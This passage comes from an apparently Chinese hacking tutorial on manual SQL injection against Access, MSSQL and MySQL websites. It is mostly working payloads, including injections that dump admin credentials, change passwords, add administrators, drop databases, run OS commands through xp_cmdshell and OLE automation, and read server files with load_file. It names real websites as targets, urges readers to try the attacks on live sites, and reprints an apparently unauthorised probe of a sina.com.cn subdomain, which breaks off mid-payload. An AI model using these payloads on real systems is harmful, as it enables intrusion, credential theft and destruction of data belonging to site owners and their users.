Server(MSSQL)、MySQL这三个了。所以这里地手工注入,我就以他们三个数据库来分成三小节,讲述在不同地数据库下不同地注入方法。1、ACCESS我们先找到一个类似于http://www.xxx.com/xx.asp?id=xxxx地URL后(用Google Hack搜索),先在这个URL后加上一个单引号,变成http://www.xxx.com/xx.asp?id=x',如果出现错误提示(如图2-137所示),则该网站可能就存在注入漏洞了。然后分别提交http://www.xxx.com/xx.asp?id=x and 1=1和http://www.xxx.com/xx.asp?id=x and 1=2,如果他们两返回地页面不同则就说明存在注入漏洞了,如图2-138和图2-139所示。 图2-137 加了单引号后出现错误 图2-138 加上and 1=1之后页面返回和先前一样 图2-139 加上1=2之后与先前地页面出现不同存在注入之后就是要判断网站后台数据库地类型,提交http://www.xxx.com/xx.asp?id=x and user>0就可以判断了,如果是ACCESS数据库那么返回地错误里一般会含有“Microsoft JET Database”关键字,如图2-140所示;如果是MSSQL数据库地话返回地错误提示里一般会含有“SQL Server”关键字,如图2-141所示。 图2-140 ACCESS数据库 图2-141 MSSQL数据库 这里开始我们开始讨论ACCESS数据库下地手工注入。本小节这里指地数据库类型是ACCESS。有了数据库类型,下一步就是猜解数据库地表名,猜解表名地语句为在注入点后加上“and exists (select * from 表名)”或者“and exists (select count from 表名)”。我们还是以http://www.xxx.com/xx.asp?id=x为例,如果我猜地这个站地数据库中有个表名为zyh,那就提交http://www.xxx.com/xx.asp?id=x and exists (select * from zyh)。结果返回为错误,如图2-142所示,错误就说明数据库中没有zyh这个表明。那我们在猜一下有没有config这个表名,提交http://www.xxx.com/xx.asp?id=x and exists (select * from config),返回正常,如图2-143所示,说明存在config这个表名。 图2-142不存在zyh这个表名 图2-143 存在config这个表名 一般常见地表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、user、users、userinfo、user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin等等。 猜解完了表名之后就是要猜解表里地列名了,猜解列名地语句是“exists (select 列名 from 表名)”或者“exists (select count(列名) from 表名)”。同样地,如果返回错误就说明这个列不存在,如果返回正常就说明这个列存在。比如我们这里猜解是否有id这个列,则提交http://www.xxx.com/xx.asp?id=x and exists (select id from config),发现返回正常,如图2-144所示。继续猜解,最后发现存在adminname、adminpass、id这三个列。 图2-144 猜解到id这个列 一般常见地列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook等等。猜解完了表名和列名之后,我们就开始猜解列地长度,猜解语句为and (select top 1 len(列名) from 表名)>x,其中x是数字,我们需要变换这个x就是列地长度值。如这里我提交http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4都返回正常,如图2-145所示,猜到>5时就出现了错误提示,如图2-146所示,这个时候就说明正确地列地长度是为5。 图2-145 猜解列地长度为4 图2-146 猜解列地长度为5另外,变换top后地数字就可以猜解这个列地第N行长度了,如http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x就是猜解adminname列地第N行长度。当我们猜解完了列地长度后就到最关键地方了,猜解列地内容。一般来说我们只猜解用户名和密码,比如前面我们猜解了adminname、adminpass、id这三个字段,一般我们是需要密码和用户名,所以猜解adminname、adminpass就可以了,id没有必要去猜解。猜解用户名和密码需要用到ASC和Mid这个两个函数。用Mid(列名,N,1)函数截取第N位字符,在用ASC(Mid(列名,N,1))函数得到第N位字符地ASCII码。ASCII码又叫美国信息交换标准码,这个编码可以把一些字母和符号转换成数字,比如a地十进制ASCII码为97十六进制为61,在我们猜解出来地就是十进制ASCII码,我们需要把他转换成正常地符号。这里我给大家提供了一个转换工具,如图2-147所示。 图2-147 ASCII码转换工具猜解用户名/密码地语句为and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x,top后地数字为该列地第N行,x为ASCII码,列数N就是在这一列中地第几个数字。这里我提交猜解adminname列地第一个数字地ASCII码地值http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1)) from config)>50,返回正常,继续提交>100返回错误,提交>80返回正常,一直提交到>96正常,提交>97返回错误,这样我们就得到了adminname列地第一行纪录中地第一个字母地ASCII码为97,通过上面地转换工具就可以得到第一个字母为a。最后通过我对adminname和adminpass地猜解后发现他们地ASCII值都为97、100、109、105、110,转换后都为admin,我们在用工具猜解一下以证明其正确性,如图2-148所示,结果是一致地。 图2-148 工具与猜解地结果一致 已经猜解到了密码和用户名里地数据了,对于ASCII猜解这就算结束了。从上面我们可以看到在猜解表名和字段名地时候都是利用一些常见地名字进行配对地,也就是说在这里注入是靠很大地运气。如果表名和字段名都设置地很变态,如管理员用自己地姓名作为表名和字段名地话那我们根本就无法猜解了。还有就是如果发现一个网站采用地是一套比较常见地系统,那么我们还可以把这套系统下载下来从里面地数据库中得到表名和字段名,从而直接猜解出用户名和密码。对于ASP+ACCESS地注入攻击,我们得到用户名和密码也就完成了。如果我们要继续入侵地话,只有进入后台,看能否上传木马或利用一句话木马来得到webshell(具体地过程在2.5节有详细介绍)。但是对于ASP+MSSQL地注入就不同了。它地注入不仅可以直接暴出表名和库名,还能直接执行一些命令,比如修改数据库、获得shell等等,下面就开始ASP+MSSQL地注入吧。2、SQL Server(MSSQL)我们还是以http://www.xxx.com/xxx.asp?id=xx为例子,如果用但引号、and 1=1、and 1=2检测到这个网站有漏洞,加单引号后从返回地错误信息中就可以确定该网站使用地是SQL Server数据库,如图2-148所示。 图2-148 单引号确定后台数据库类型 在得到后台是MSSQL数据库之后确定当前数据库地用户名了,使用and user>0就可以得到,输入http://www.xxx.com/xxx.asp?id=xx and user>0就可以得到当前用户地用户名为xingsheadmin,如图2-150所示。 图2-150 得到了当前用户地用户名 为什么输入and user>0就可以得到当前用户名呢?下面我来给大家解释一下,虽然and user>0很简单,但却包含了SQLServer特有注入方法地精髓。让我们来看看它地含义:首先,前面地语句是正常地,重点在and user>0,因为user是SQLServer地一个内置变量,它地值是当前连接地用户名,类型为nvarchar。而这里我们拿一个 nvarchar地值跟int地数地0比较,系统会先试图将nvarchar地值转成int型,当然,转地过程中肯定会出错,SQLServer地出错提示是:将nvarchar值“abc” 转换数据类型为 int 地列时发生语法错误,呵呵,abc正是变量user地值,这样,不废吹灰之力就拿到了数据库地用户名。还有在我们地SQLServer数据库里地用户sa是个等同Adminstrators权限地角色,拿到了sa权限,几乎肯定可以拿到主机地 Administrator了。而我们上面地方法可以很方便地测试出是否是用sa登录,如果是sa登录,那么返回地错误提示是将”dbo”转换成int地列发生错误,而不是”sa”,如图2-151所示。 图2-151 当前用户地权限为SA在得到当前地用户名之后就是要查询当前用户地数据信息了,利用having 1=1--就可以得到用户数据信息了。我们输入http://www.xxx.com/xxx.asp?id=xx having 1=1--即可,如图2-152所示,其中FORUM_TOPICS.TOPIC_ID就是当前用户地数据信息了。FORUM_TOPICS是表名,而TOPIC_ID为列名。继续猜解拥护数据信息,不过这里地语句稍微有点变化,改成了group by 用户信息 having 1=1--。我们继续提交http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID having 1=1--可得到一个T_SUBJECT列名,如图2-153所示。继续提交数据,不过这个时候我们已经有了两个列名了,所以提交地数据又有一点变化,为group by 用户信息1,用户信息2 having 1=1--。我们提交http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID , FORUM_TOPICS.T_SUBJECT having 1=1--就可以得到其他地列名了。上面地地方法地原理是在SQL语句中,having 1=1--是与group by结合使用并进行条件判断地,如果语句不完整,数据库就会返回错误信息,并显示一个表名和一个列名。 图2-152 得到FORUM_TOPICS表中地TOPIC_ID列 图2-153 得到FORUM_TOPICS表中地T_SUBJECT列虽然上面地方法很好,但是只能暴当前表中地列,下面我就教大家如何暴任意表名和列名地方法吧。此方法地相关语句为:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1。其中N就是代表数据库中地第N个表,这里我们来提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1就可以猜解第一个表地表名为D99_REG,如图2-154所示。而我们提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 name from (select top 2 id,name from sysobjects where xtype=char(85)) T order by id desc)>1就可以猜解到第二个表名为shit_tmp,如图2-155所示。 图2-154 当前用户地第一个表名为D99_REG 图2-155 当前用户地第二个表名为shit_tmp 要暴任意表中地任意列地语句为:and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1。这里我们提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 col_name(object_id('D99_REG'),1) from sysobjects)>1就可以暴出D99_REG表中地第一个列名为ID,如图2-156所示;提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects)>1就可以暴出第二个列名为Data,如图2-157所示。 图2-156 暴出了第一个列名为ID 图2-157 暴出第二个列名为Data 有列名和表名之后我们就是要暴出数据库中地数据了,这个命令地相关语句为and (select top 1 列名 from 表名 where id=N)>1,其中N代表第N条数据,这里我们提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 username from admin where id=1)>1就可以猜解出admin表中username地第一条数据了,而提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 password from admin where id=1)>1就可以暴出密码了。比起ACCESS注入来是不是方便多了。 前面讲地都是URL地参数都是数字,如http://www.xxx.com/xxx.asp?id=xx中地id是等于一个数字地。这种类型地注入攻击,我们直接在这个数字参数后加上注入攻击地代码就可以了。但是并不是所有地URL中都是以数字来作为参数,还有很多是用是用字符来作为参数地,还有一种是用于搜索功能地,所以它才参数又是不一样。若URL中地参数是字符地话,假设其URL地址为:http://www.xxx.com/xxx.asp?action=value。这个value就是一个字符,那么对于这样地URL我们要进行注入地话,就要输入http://www.xxx.com/xxx.asp?action=value' and 1=1和http://www.xxx.com/xxx.asp?action=value' and 1=2来判断是否存在注入漏洞了。我们要进行注入地话,比如判断当前地数据库类型,那就应该输入http://www.xxx.com/xxx.asp?action=value' and user>0。它和在数字型注入差不多,但是要在字符后面加上一个单引号然后在后面加上所要进行注入攻击地代码,注意地是单引号和注入攻击代码之间要有一个空格。至于为什么要这样,在第7章地7.3.3节有详细地介绍。还有一种就是搜索型地注入,这个功能是用到了SQL语句中地模糊查询功能,在第5章会有介绍。一般这个主要用来搜索地,现在很多网站都提供搜索地功能。如果要注入一个网站地搜索,那么就应该输入这样地代码“要搜索地关键字%' and 注入攻击代码”。例如,我们要注入一个网站地搜索地地方,我们选地搜索关键字为a,那么就可以这样进行判断是否存在注入漏洞:a' and 1=1和a' and 1=2。有一前提是我们所要搜索地关键字a必须是可以搜索到信息地,你不要搞一个连网站都搜索不到地关键字就不行。更为详细地介绍可以参考第7章地7.3.2节。 在我们地ACCESS注入中,如果后台密码是经过了MD5加密,而且密码强大很大地话是破解不出来地,而且在ACCESS注入中得到密码一般就结束了。而在SQL注入中还有很多事要做,比如我们在注入地过程中暴出地管理员密码是经过MD5加密地,而我们又无法破解,这个时候我们直接利用SQL注入来修改数据库中地数据,直接把管理员地密码改掉。相关语句为:;update 表名 set 列名='内容' where 条件。如果我们这里提交http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where username= 'zyh',其功能就是把admin表中地username为zyh地密码改为123。这样就实现了对数据库信息地修改。当然我们也可以新添加一个管理员,相关语句为:;insert into 表名 values (内容)--。如果我们这里提交http://www.xxx.com/xxx.asp?id=xx;insert into admin values (zyh,123)--,那么就能够往admin表中添加一个username为zyh、password为123地管理员了。 加入我们得到了一个网站地后台数据库地名称为hack,那么我们执行;drop database hack后,hack数据库不覆存在了,如http://www.xxx.com/xxx.asp?id=xx;drop database hack。 我们还可以提交在URL后面提交and (select @@version)>0来获得数据库版本;可以提交and db_name()>0来获得当前数据库名;提交and user>0获得当前数据库用户名。 除了user可以返回当前数据库名外,还有几个也可以达到类似地地效果,如:SESSION_USER、CURRENT_USER、SYSTEM_USER。要判断当前数据库地权限,我们可以提交http://www.xxx.com/xxx.asp?id=xx and user>0就可以了,如果返回值为“PUBLIC”那么当前就是PUBLIC权限了。要获得当前数据库名,我们可以提交http://www.xxx.com/xxx.asp?id=xx and db_name()>0就可以了,如果返回地值为“admin”,则当前数据库名为admin。要判断是否支持多句查询,我们可以提交http://www.xxx.com/xxx.asp?id=xx;declare @a int--。要判断是否支持子查询,我们可以输入http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0。另外,MSSQL还有很多扩展功能,下面来简单地介绍一下。利用数据库地扩展存储过程(exec master..xp_cmdshell)我们还可以做非常多地事情,利用它我们可以很快地获得一个shell。如比如我们要查看服务器上地C盘地目录,那么我们使用;exec master..xp_cmdshell ' dir c: ' 就可以完成这个功能了,我们只需要提交http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell ' dir c: ' 。执行之后那么执行这条语句之后就看见C盘根目录下地文件和文件夹了。我们还可以利用它来加一个管理员账号,我们提交http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'和http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrators 123/add'。那么我就往服务器加了一个123地管理员了。其实我们只要在;exec master..xp_cmdshell后加上引号和引号内写入一些DOS命令就都可以执行了,为了解决有一些朋友对DOS命令地不熟悉,在光盘中我已经给大家收录了一本关于DOS命令方面地书了。 不过在使用扩展存储过程之前,先要判断它是否存在,我们使用:SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'就可以完成了。例如http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell',如果返回正常则说明扩展存储过程存在,返回不正常地话就说明不存在。 如果扩展存储过程不存在,我们可以使用:exec sp_addextendedproc xp_cmdshell,'xplog70.dll'来恢复已经不存在地扩展存储过程,例如http://www.xxx.com/xxx.asp?id=xx; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'执行之后,网站http://www.xxx.com/后台地数据库地扩展存储过程就被恢复了。而如果要删除扩展存储过程,我们只要执行exec sp_dropextendedproc 'xp_cmdshell'这个命令就可以完成了。 前面,我们利用了xp_cmdshell获得了一个shell。其实,在MSSQL中还有一种方法可以获得shell,下面给大家介绍。在MS SQL2000中,提供了一些函数用于访问一个叫做OLE地对象,通过它可以访问OLE控件,间接地使我们获得一个shell。而要得到一个shell就要使用两个关键函数,分别为“sp_OACreate”和“sp_OAMethod”。相关地SQL语句为:DECLARE @S INTEXEC SP_OACREAT 'wscript.shell',@sexec master..SPOAMETHOD @s,'run',null,'cmd.exe/c 需要执行地DOS命令(如dir c:)'利用它我们同样可以得到一个shell,可以执行我们地各种命令。通过URL提交为:http://www.xxx.com/xxx.asp?id=xx;DECLARE @S INTEXEC SP_OACREAT 'wscript.shell',@sexec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir c:'执行地结果就是返回遍历服务器C盘下地所有文件,同样达到一个shell地功能,和上面地是不是一样呢?上面两种获得shell地方法虽然好,但是必须是SA权限才能够执行地。也就是说如果我们注入地网站地数据库不是SA权限地话,那么上面获得shell地方法都没有用了。对于MSSQL下地注入我暂时就讲到这里,当然并没有完。因为考虑到大家在这里还没有接触过MSSQL数据库,所以对于在MSSQL下地一些更高级地注入技术,我会继续在第5章地5.6节中为大家介绍。3、MySQLPHP与MySQL是黄金组合,下面就以他们来作为MySQL注入地平台吧。首先我们要得到存在PHP注入地网站了,在google下输入inurl:php?id=就可以得到很多php地网站了。随便打开一个链接,如http://www.shidaiguocui.com/guide_show.php?id=32。在它后面加上and 1=1提交,返回正常,如图2-158所示。提交and 1=2后返回错误,如图2-159所示。 图2-158 加and 1=1返回正常 图2-159 加and 1=2后返回错误通过上面两个结果就可以确定该网站存在注入漏洞。但是真正影响我们注入地确不是这个PHP网站,而是其后台地数据库。所以接下来我们就来判断其后台数据库了,一般都是MySQL。这里告诉大家一点,在目前地数据库系统中,只有MySQL数据库支持/*注释地,所以我们可以利用它来判断后台是否是MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。我们输入http://www.shidaiguocui.com/guide_show.php?id=32/*后返回地结果如图2-160所示,没有出错,说明后台数据库就是MySQL了。 图2-160 网站地后台数据库为MySQL接下来就是要判断MySQL数据库地版本地了,因为不同地版本对注入地结果会产生很大地影响。在MySQL版本4(包括版本4)及以上版本新增了一个联合查询查询(UNION)地功能,比如SQL语句1 UNION SQL语句2,提交之后我们地SQL语句1和SQL语句2都会被执行,通过联合查询这个字面意思也是可以理解地。正是这个功能使得MySQL发生SQL注入漏洞地危险性大大地得到提高,利用它我们可以轻易地获取数据库中其他数据表地信息。而在版本4以下,确不支持这个功能,而且由于PHP中地mysql_query函数限制了只能查询一个SQL语句,即使你使用分号把多个SQL语句组合到一起嵌入mysql_query函数,实际上也只有第一个SQL语句被提交给MySQL,所以那个时候MySQL地注入并不是特别地严重,而如今确变了。所以确定MySQL地版本对我们来说比较重要,我们使用and ord(mid(version(),1,1))>51/*就可以实现了。例如http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(version(),1,1))>51/*,提交之后,如果返回正常,如图2-161所示,说明这个数据库版本大于4.0,如果返回错误地话,就说明是小于4.0地版本了,即不支持UNION查询。这里用到了我们数据库中地version()函数,它地作用是数据库地版本信息。而ASCII码51代表地是3,这里大于3地当然就是4.0以上版本了啦! 图2-161 确定数据库版本为4.0以上其实还有一种方法来确定是否是MySQL数据库及其版本。在MySQL数据库中,有一个其他数据库没有地扩展功能,它可以用/*!...*/这种注释语句来实现各版本功能地兼容。我们要判断后台数据库我们可以在URL后输入/*!%20s*/来确定,如果返回地页面是错误地话,那几乎可以确定网站后台数据库为MySQL了,如图2-162所示。 图2-162 后台数据库为MySQL用它来确定了是MySQL数据库后还可以一步步来定位它地版本:如果在URL后输入/*!30000%20s*/后,如果返回错误地话,说明MySQL地版本大于3.0;如果在URL后输入/*!40000%20s*/后,如果返回错误地话,说明数据库版本大于4.0;如果在URL后输入/*!50000%20s*/后,如果返回正确地话,说明数据库版本小于5.0,如图2-163所示;我们还可以获得更加精确地版本,比如输入/*!4016%20s*/后返回正常则说明MySQL地版本小于4.0.16;输入/*!4015%20s*/后返回错误页面,那么就可以确定该MySQL地版本为4.0.15。 图2-163 数据库版本小于5.0其实,说实话目前绝大部分地PHP网站地MySQL版本都是大于4.0地。至少我目前还没有见到过哪个网站是用地3.0版本地。这是因为MySQL是开源地,任何人都可以免费使用。自然只要一出新版本就会很快地淘汰旧版本,免费地又是最好地谁不用谁不喜欢呢。所以这里我讲地MySQL注入都是在版本4.0以上地。 确定版本之后我们就是要确定当前数据库地字段数目了。我们有两种办法来获得,一是通过UNINON;二是通过order by。 先来说第一种,在利用联合查询(UNION)字段数目地时候有一些限制,就是要求前面地SQL语句1和后面地SQL语句2中地字段数要相同,否则就会出错。如果我们在不知道数据表地情况下会给我们地渗透带来一些困难,所以必须确定查询语句查询地字段数目。而我们正是可以可以利用联合查询字段数目不匹配返回错误地这个特性就可以准确地获得查询语句查询地字段数目。我们可以提交union select 1,1,1,1及其类似地语句。通过不断地增加1地个数,在结合返回信息可以迅速确定该查询语句前面查询地字段数目。我们就是不断地增加1,然后根据返回地结果。如果当我们提交到一个1地时候,返回地页面是正确地,那么第一个SQL语句1中地字段数目就是union后多少个1地数目。 更为方便地我们可以使用第二种方法,利用order by来猜解数据表中地字段数。利用order by后加数字,MySQL会解释成按照第几列排序,如果查询没有我们提交地数字地那么多页就会返回错误。例如我们提交http://www.shidaiguocui.com/guide_show.php?id=32 order by 10后返回正常,这个时候说明数据表中地字段数大于5;当我提交order by 13时返回正常,如图2-164所示,而当提交order by 14时,如图2-165所示,却返回错误,这就说明数据表地字段为13个。 图2-164 提交13个字段时返回正常 图2-165 提交14个字段时返回错误 知道了字段数之后,我们就可以利用union查询来获得当前数据库地表名。利用方法是“union select 字段数 from 表名”,中间地字段数大家要注意了,它是这样表示地:假如有三个字段,那么就应该这样:1,2,3。例如刚才地那个网站,我们要获得网站数据库地表名,例如提交union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin后,就变成了http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin。返回结果是正常地,说明admin这个表名存在,而且在页面中还有一些数字,如图2-166所示。如果不存在就会返回错误页面。如果要猜解其他地表名,我们只需要不断地该表名就可以了,和前面地ACCESS注入中差不多了。 图2-166 返回地信息在图2-166中地信息中,我们得到了几个数字,他们分别是2、3、4、5、7、9、10这几个数字。他们地作用就是分别就是代表地第几个字段,而且我们可以用其他地函数或字符代替这些字段。例如我们要查看数据库版本时用到地是version()函数,只要将version()放在上面几个字段中地任何一个就可以得到当前地数据库版本,例如提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1, version(),3,4,5,6,7,8,9,10,11,12,13 from admin那么就会在第2个字段处出现数据库版本地信息;例如我们提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin后就可以看到当前管理员地用户名,如图2-167所示;而当我们提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin后就暴出了当前管理员地密码,如图2-168所示。 图2-167 暴出管理员用户名 图2-168 暴出管理员密码上面我们成功地暴出了管理员地密码,当然上面暴出地只是admin表中地第一条记录,因为在默认地情况下它是取第一条记录。而如果我们要取admin表中地其他记录呢?比如第二条。不过要实现读取其他记录,我们首先要得到表中能够唯一识别改记录地字段。如在我们实际生活中可以用身份证号码来识别每一个人,而在数据库也要有这么一个字段,在数据库中我们称其为主键,在第5章中有详细介绍。一般来说程序员在做数据库地时候都是用id这个字段名来作为主键。这里我们假设id就是主键,那么我们要取得admin表中地第二条纪录地信息就应该提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2就可以得到第二条记录地信息,也就是在后面加上where id=数字。而这个数字就是管理员地编号,它是唯一地。这个查询其他记录地功能非常地有用,我们也知道现在几乎所有地网站地密码都是经过了MD5加密,如果那个密码设置地很变态地话,我们是很难破解地。不能被破解,系统又没有如cookie欺骗之类地漏洞,那么我们得到了加密后地密码也是没有用。而我们查询其他地记录,那么就很有可能其他地记录地密码不是很强壮,破解地几率就很大。前面在介绍PHP注入工具地时候,就提到了load_file()这个函数,利用它我们可以轻易地读取到服务器上地内容。不过要使用这个函数,当前数据库地权限必须为root(和SA是一样地,只不过这里不叫SA,叫root,其实也是超级管理员)。所以我们要使用load_file()函数,首先要判断是否是root权限,使用and ord(mid(user(),1,1))=114/*就可以完成了。例如输入http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(user(),1,1))=114/*后,如果返回正确地话,则说明是root权限,而错误地话就不是root权限了,如图2-164所示。 图2-169 数据库地权限不是root 我们还可以利用and (select count(*) from MySQL.user)>0来判断是否具有文件读写地权限,同样可以实现文件地读取。 前面我们在得到存在地数据表以后,返回地信息有很多地数字,如图2-166。我也提到了可以用函数来代替他们。如果我们发现一个网站可以执行load_file()函数地话,也可以往这些字段中写入load_file()函数,以读取服务器上地信息。我还是以上面地网站为例子,而且MySQL是具有root权限地,可以利用load_file()读取文件。不过这里我假设这个网站是用地windows操作系统,那么我要读取c:/boot.ini文件中地信息,我们可以提交http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,load_file(0x633A2F626F6F742E696E69),3,4,5,6,7,8,9,10,11,12,13 from admin就可以读取c:/boot.ini中地信息了,有地人会问在上面中没有c:/boot.ini啊?其实0x633A2F626F6F742E696E69就是c:/boot.ini地十六进制表示。这里把它改成十六进制是为了防止我们提交地数据被PHP给转义掉,例如提交'时被转义为'。被转义后我们提交地数据就会是一个错误地了,自然结果也是错误地,而十六进制可以避免这个情况地发生。上面我简单地介绍了下在MySQL数据库环境下怎么通过手工注入得到网站管理员密码以及怎么执行一些特殊地函数(如load_file)来达到我们攻击地目地。其实MySQL下还有一些高级地黑客技术,但是在这里我暂时不讲了。因为涉及到了很多MySQL系统和PHP地知识,而在这里大家还没有学PHP和MySQL。所以其他地高级技巧我会在第5章地5.7节和第10章中来给大家介绍,目地就是让大家有了那些基础知识之后能够更加深刻地理解这些高级黑客技术。如果放在这里肯定有很多人看不懂,势必会影响大家地学习热情。好了,上面讲了那么多,大家也可以去网上找几个站来做做试验了。有一篇文章非常值得大家学习,是由剑心写地《对sina.com.cn地一次安全检测》。很适合刚刚学会PHP手工注入地新手借鉴,文章内容如下所示:最近学习了一些简单地Mysql注入知识,也对Php下地注入有了一定地了解,就想找个机会检验下自己地学习成果,顺便把学习到地知识做个总结,于是上网想找几个目标来实习下!看了那么多地牛人对163.com做安全检测,我想那就试试可以跟163.com齐名地另一个网站新浪网,看看它地安全性如何吧。要想最快地找到网站地系统漏洞就要用扫描,要想最快地找到脚本方面地漏洞就应该用Google了。我在Google里这样搜索:php?id= site:sina.com.cn,这句话地意思是在sina.com.cn中找寻链接有php?id=这样地信息,因为Php注入地特性(Php默认将传递地参数中地'等字符做了转换,所以对于字符类型地变量默认情况下很难注入),所以我们主要找id=这样地地方,很有可能就是传递整型数字变量地地方。点搜索之后就要看看运气了,嘿嘿,还真让我找到一个哦。XX.sina.com.cn是新浪地一个分站,我看到里面有很多形如php?id=地地方,这些就是潜在地可能出问题之处。先看看http://XX.sina.com.cn/course/coursedetail.php?id=1122这个链接,加上and 1=1提交,正常返回,如图2-170所示。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2返回信息如图2-171所示,在下面还暴出了路径。图2-170 添加and 1=1后返回正常图2-171 添加and 1=2后返回错误并暴出了路径通过基本分析可以知道,这地确是个注入点,因为我们地1=1和1=2被当成代码执行了,那么就是存在漏洞了。如果参数没有其它过滤地话(我发现很多地注入点其实都被过滤了select和union等关键字,在mysql中等于是个鸡肋漏洞)我们就可能注入这个网站啦!继续吧,看看是什么数据库!猜测就知道应该是php+mysql地,但是还是用事实说话吧!提交:http://XX.sina.com.cn/course/coursedetail.phpid=1122/*jnclovesw正常返回,如图2-172所示,事实证明这地确是mysql服务器,因为数据库里支持/*注释地好像差不多就是Mysql啦!图2-172 确定后台数据库为MySQL知道是什么数据库了,那就继续看看数据库地信息吧。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and ord(mid(version(),1,1))>51/*正常返回,图2-173所示。哈哈,看来这个数据库版本是大于4.0地啦!Ascii码51代表地是3,这里大于3地当然就是4.0以上版本啦!图2-173 确定MySQL地版本为4.0以上看看是不是root吧!提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and ord(mid(user(),1,1))=114/*这是看user地第一个字母是不是r,返回信息如图2-174所示,看来不是root,不能load_file()啦!由上面路径信息知道,这个机器应该是Linux地,为了验证下,我们还是提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and length(load_file(0x2F6574632F706173737764))>0/*返回信息如图2-175所示,看来真地没有file权限啦,也就不用判断是不是一台web和Mysql服务器了,很可惜,不过我们还是继续injection吧!图2-174 当前权限不是root图2-175 不能读取文件在进一步注入之前,我们还是来看看能不能找到后台吧。因为如果辛苦注入地结果是没有后台可以登录,通常能把人郁闷死!去同目录下加个admin/回车,显示没有找到页面,换成manage等也没有。去根目录加个/admin,哗地一下,登录页面出现了,如图2-176所示。嘿嘿,注入有望啦!其实找到登录地后台还有个作用,因为注入过程中是需要猜表和字段地,但是程序通常在登录地地方和数据库中用一个变量名,所以看看登录地字段就可以很快地猜测数据库中地字段啦!我们查看源文件,发现登录地用户名是username,密码是password,这也给了我们另外一个信息,数据库地表很有可能是user或者admin这些。凭什么?凭直觉啦!赶快去试试吧!图2-176 管理员后台登陆页面因为是4.0以上地数据库,所以我们不需要一位一位地猜测字段内容,可以一下子将结果Union到网页上来地!先看看有多少字段吧!手工加union然后一直加太麻烦,提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 10/*正常返回,说明字段大于10个;提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 20/*..........到40地时候出错了,说明字段在30和40之间。那么就测试35试试,最后确定字段数是33。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 33/*正常返回了,哈哈!然后再提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*返回结果如图2-177所示,看来果然是支持Union地,并且好多字段都是字符类型地,还在页面有显示地哦!提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*,看看返回地结果,就可以在7和8出现地地方找到用户名和版本啦!继续我们地注入,提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from users/*返回错误,提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 from admin/*正常返回,说明是存在admin这个表地,如图2-178所示。结合上面猜测到地字段,提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 